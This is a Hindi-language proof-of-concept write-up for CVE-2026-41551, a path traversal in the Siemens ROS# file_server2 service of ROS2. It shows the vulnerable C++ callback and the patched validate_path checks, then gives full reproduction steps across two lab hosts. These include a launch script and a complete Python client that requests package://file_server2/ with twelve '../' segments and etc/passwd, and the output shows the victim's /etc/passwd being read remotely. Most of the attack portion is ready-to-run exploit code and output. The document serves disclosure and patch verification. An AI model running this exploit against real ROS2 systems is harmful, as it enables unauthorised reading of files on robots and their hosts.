
# CVE-2026-41551 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Siemens ROS# file_server में एक पाथ ट्रैवर्सल भेद्यता है, जो क्राफ्टेड package:// अनुरोधों के माध्यम से रिमोट फ़ाइल रीड का प्रदर्शन करता है।
भेद्यता: Siemens ROS#
file_server/file_server2सेवा में सापेक्ष पथ ट्रैवर्सल CVSS v3.1: 9.1 (AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:N) प्रभावित संस्करण: ros-sharp सभी < V2.2.2; सुधार संस्करण: V2.2.2 (नयाvalidate_pathजोड़ा गया) निष्कर्ष: यह भेद्यता क्रॉस-होस्ट शोषण योग्य है, केवल स्थानीय रूप से पुनरुत्पादित नहीं की जा सकती। निम्नलिखित "हमलावर 153 → पीड़ित 152" के दूरस्थ पुनरुत्पादन चरण हैं।
get_file_callback सीधे अनुरोध पथ को पैकेज साझा निर्देशिका में जोड़ता है, बिना ट्रैवर्सल जांच के:
std::string address = request->name.substr(10); // "package://" हटाएं
std::string package = address.substr(0, address.find("/"));
std::string filepath = address.substr(package.length());
std::string directory = ament_index_cpp::get_package_share_directory(package);
directory += filepath; // उपयोगकर्ता-नियंत्रित, "../" शामिल है
std::ifstream inputfile(directory.c_str(), std::ios::binary); // ट्रैवर्सल करके कोई भी फ़ाइल पढ़ें
PoC अनुरोध package://file_server2/<../×12>etc/passwd, पैकेज share निर्देशिका से बाहर निकलकर रूट तक पहुंचकर पीड़ित की स्थानीय फ़ाइल पढ़ता है।
नया validate_path: पहले पथ ट्रैवर्सल जांच, फिर एक्सटेंशन व्हाइटलिस्ट, अंत में std::filesystem::canonical से पुष्टि करें कि पैकेज निर्देशिका से बाहर नहीं निकला; save_file डिफ़ॉल्ट रूप से अक्षम।
bool has_traversal(const std::string& path) { // ".." और "." निषिद्ध
for (const auto& part : std::filesystem::path(path))
if (part == ".." || part == ".") return true;
return false;
}
bool is_path_safe(const std::string& base_dir, const std::string& full_path) {
auto base = std::filesystem::canonical(base_dir);
auto target = std::filesystem::weakly_canonical(full_path);
auto [end, _] = std::mismatch(base.begin(), base.end(), target.begin());
return end == base.end(); // अभी भी पैकेज निर्देशिका के भीतर होना चाहिए
}
bool validate_path(...) {
if (has_traversal(filepath)) { warn("Path traversal attempt blocked"); return false; }
नेटवर्क टोपोलॉजी (समान ROS_DOMAIN_ID, DDS क्रॉस-होस्ट डिस्कवरी):
हमलावर 192.168.171.153 पीड़ित 192.168.171.152
+---------------------------+ +---------------------------+
| ros2_humble + client | (1) get_file | file_server नोड |
| python3 poc.py | -------------> | /file_server/get_file |
| | | स्थानीय /etc/passwd पढ़ता है |
| | <------------- | (2) फ़ाइल सामग्री 2930 bytes लौटाता है|
+---------------------------+ +---------------------------+
ROS2 DDS (UDP 7400-7500 / मल्टीकास्ट 239.255.0.x), ROS_DOMAIN_ID=0
/opt/ros/humble) और colcon स्थापित हैं।~/ros2_ws/src/file_server2 में रखा गया है (ros-sharp 2.2.1, कुल 13 फ़ाइलें)।ROS_LOCALHOST_ONLY=1 सेट न करें, अन्यथा केवल लूपबैक एक्सेस होगा और दूरस्थ पुनरुत्पादन संभव नहीं होगा।source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
# भेद्यता पैकेज संकलित करें (पहले से संकलित होने पर छोड़ा जा सकता है, पुनः संकलन हानिरहित है)
colcon build --packages-select file_server2
# नोड शुरू करें (रीबूट सुरक्षित: पहले पुरानी प्रक्रियाएँ साफ़ करें फिर शुरू करें)
# ~/start_fs.sh सामग्री परिशिष्ट A में देखें
bash ~/start_fs.sh
sleep 2
ros2 node list # स्थानीय /file_server दिखना चाहिए
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
# क्लाइंट को GetBinaryFile प्रकार आयात करने के लिए file_server2 पैकेज की भी आवश्यकता है
colcon build --packages-select file_server2
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
sleep 2
ros2 node list # क्रॉस-होस्ट /file_server (152 पर) खोजा जाना चाहिए
ros2 service list | grep file_server
# दिखना चाहिए: /file_server/get_file
python3 ~/poc.py
[*] Requesting: package://file_server2/../../../../../../../../../../../../etc/passwd
[*] Returned 2930 bytes
----- /etc/passwd (begin) -----
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
----- end -----
हमलावर 153 पर सफलतापूर्वक [पीड़ित 152 की स्थानीय मशीन] का /etc/passwd पढ़ता है।
~/start_fs.sh#!/bin/bash
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
# प्रक्रिया नाम कर्नेल द्वारा file_server2_no में छोटा किया गया है, कमांड लाइन द्वारा पुराने इंस्टेंस सटीक रूप से साफ़ करें
MYSELF=$$
for p in $(ps -eo pid,args | grep "file_server2_node" | grep -v grep | awk '{print $1}'); do
[ "$p" != "$MYSELF" ] && kill -9 "$p" 2>/dev/null
done
sleep 1
# महत्वपूर्ण: ROS_LOCALHOST_ONLY सेट न करें, अन्यथा केवल लूपबैक एक्सेस होगा
setsid bash -c "ros2 run file_server2 file_server2_node > ~/file_server.log 2>&1" >/dev/null 2>&1 </dev/null &
disown
sleep 2
echo "node started: $(pgrep -af file_server2_node | head -1)"
~/poc.pyimport rclpy
from rclpy.node import Node
from file_server2.srv import GetBinaryFile
class Client(Node):
def __init__(self):
super().__init__('poc_client')
self.cli = self.create_client(GetBinaryFile, '/file_server/get_file')
while not self.cli.wait_for_service(timeout_sec=5.0):
self.get_logger().info('waiting for service...')
def call(self, name):
req = GetBinaryFile.Request()
req.name = name
fut = self.cli.call_async(req)
rclpy.spin_until_future_complete(self, fut)
return fut.result()
def main():
rclpy.init()
c = Client()
# 12 "../" पैकेज share निर्देशिका से बाहर रूट तक पहुंचने के लिए पर्याप्त हैं, फिर etc/passwd तक पहुंचें
target = "package://file_server2/" + ("../" * 12) + "etc/passwd"
print(f"[*] Requesting: {target}")
res = c.call(target)
data = bytes(res.value) if res is not None else b''
print(f"[*] Returned {len(data)} bytes")
print("----- /etc/passwd (begin) -----")
print(data[:400].decode(errors='replace'))
print("----- end -----")
c.destroy_node()
rclpy.shutdown()
if __name__ == '__main__':
main()
| भूमिका | होस्ट IP | सिस्टम | ROS | विवरण |
|---|
| पीड़ित | 192.168.171.152 | Ubuntu 22.04 | Humble | file_server नोड चलाता है, पढ़ी जाने वाली फ़ाइल स्थानीय मशीन पर है |
| हमलावर | 192.168.171.153 | Ubuntu 22.04 | Humble | समान नेटवर्क सेगमेंट, पीड़ित की सेवा पर PoC कॉल करता है |